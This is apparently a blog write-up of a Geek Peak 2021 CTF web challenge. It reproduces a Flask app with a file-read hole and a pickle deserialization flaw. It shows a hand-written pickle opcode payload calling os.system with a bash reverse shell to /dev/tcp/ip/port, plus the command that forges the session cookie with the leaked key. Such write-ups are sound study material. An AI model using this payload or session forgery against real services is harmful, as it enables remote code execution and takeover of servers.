Geek peak 2021 web opcode

preface

After hitting the peak of geeks, talk about your feelings: it's really becoming more and more delicious?? They didn't sign in and didn't leave. They scored 0 directly, which was worse than when they first started

There are two Pwns, one five or six libc + two executable files. They don't bother to decompress them. A malloc directly persuades them to retreat. The skill points haven't been clicked yet

Seeing that there is an rsa in cryptography, I thought I had reached my skill range. Such a small N can't be decomposed and such a large e can't be cracked. It's just that I can only say that the level of the questioner is really high. I didn't fully understand the Chinese remainder theorem after learning for a semester. I don't think I can understand it in a few hours

web js didn't find anything. It happened to be doing deserialization recently, but the first one was really dizzy. I felt that there were many points to use, but none of them could be used. I found a hole poc and didn't understand it. I really want to find a master to take it with me

The second pickle deserialization idea is much clearer. Fortunately, I was watching pickle deserialization some time ago. Unfortunately, I just skipped it__ reduce__ If it can't be used, as a result, I only had a few minutes to look at this problem at that time. I missed this 0 breakthrough, but I just took advantage of this problem to make up a class and make a record here

Try to restore the subject environment for the masters to reproduce opcode

1, Source code disclosure

When logging in, grab a package. Obviously, read any file. After reading / proc/self/cmdline, you find that app. Com is running Py is actually redundant. Generally speaking, it is this, and then read the app Py to obtain the source code, view the web page source code, and the base64 in the picture src is it

from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()


app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
    if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
        return "not admin"
    try:
        data = base64.b64decode(session['data'])
        if "R" in data.decode():
            return "nonono"
        pickle.loads(data)
    except Exception as e:
        print(e)
    return "success"

@app.route('/login', methods = ["GET","POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    imagePath = request.form.get('imagePath')
    session['username'] = username + password
    session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
    try:
        f = open(imagePath,'rb').read()
    except Exception as e:
        f = open('static/image/error.png','rb').read()
    imageBase64 = base64.b64encode(f)
    return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))

@app.route('/', methods = ["GET","POST"])
def index():
    return render_template("index.html")
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8888')

2, Analysis source code

Seeing this source code, I feel that the idea is quite clear. It directly leaked SECRET_KEY, you can use flask-session-cookie-manager Crack session

{'data': b'base64 Encoded serialized content', 'username': 'admin'}

But the trouble is here

if "R" in data.decode():
            return "nonono"

R cannot exist in a serialized string, and__ reduce__ The R instruction is used, but it is no surprise. After all, the topic prompts to handwrite opcode and execute the command without using the R instruction

2, Problem solving steps

Construct a payload that does not use the R instruction to execute the command. It doesn't matter if it can't write. A master has summarized it for us
Summary of using skills of pickle deserialization Thank you every other space

Imitate the o instruction in the figure above to construct the opcode of the rebound shell

import base64
import pickletools

a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''

a = pickletools.optimize(a)
print(a)
print(base64.b64encode(a))

# output
# b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"\'\no.'
# b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u'

Incidentally, because the serialized content is decoded where the R instruction is filtered, the serialized content cannot contain characters that cannot be utf-8 decoded such as \ x81

Construct session

{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}

Encryption using flash session cookie Manager

python3 flask_session_cookie_manager3.py encode -t "{'data': b'KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInCm8u', 'username': 'admin'}" -s 'y0u-wi11_neuer_kn0vv-!@#se%32'

Finally, replace the session value in the cookie and access / admin to rebound the shell

summary

I stopped writing yesterday because I thought of rewriting find in the title_ Class, but it didn't seem to take effect. I thought I accidentally moved the source code, so I went to find the relevant information. It didn't come out all night. Finally, I found that the problem was like this.

Set up a flag, find time to learn handwritten opcode, and then come back to update to see if you can filter R instructions while there is a sandbox and execute them

If the sandbox is to take effect, pickle loads(data) should be changed to loads(data)

At the same time, we found a detailed flag for the masters, Geek peak 2021WP

Keywords: Web Security CTF

Added by deezerd on Sun, 02 Jan 2022 04:11:18 +0200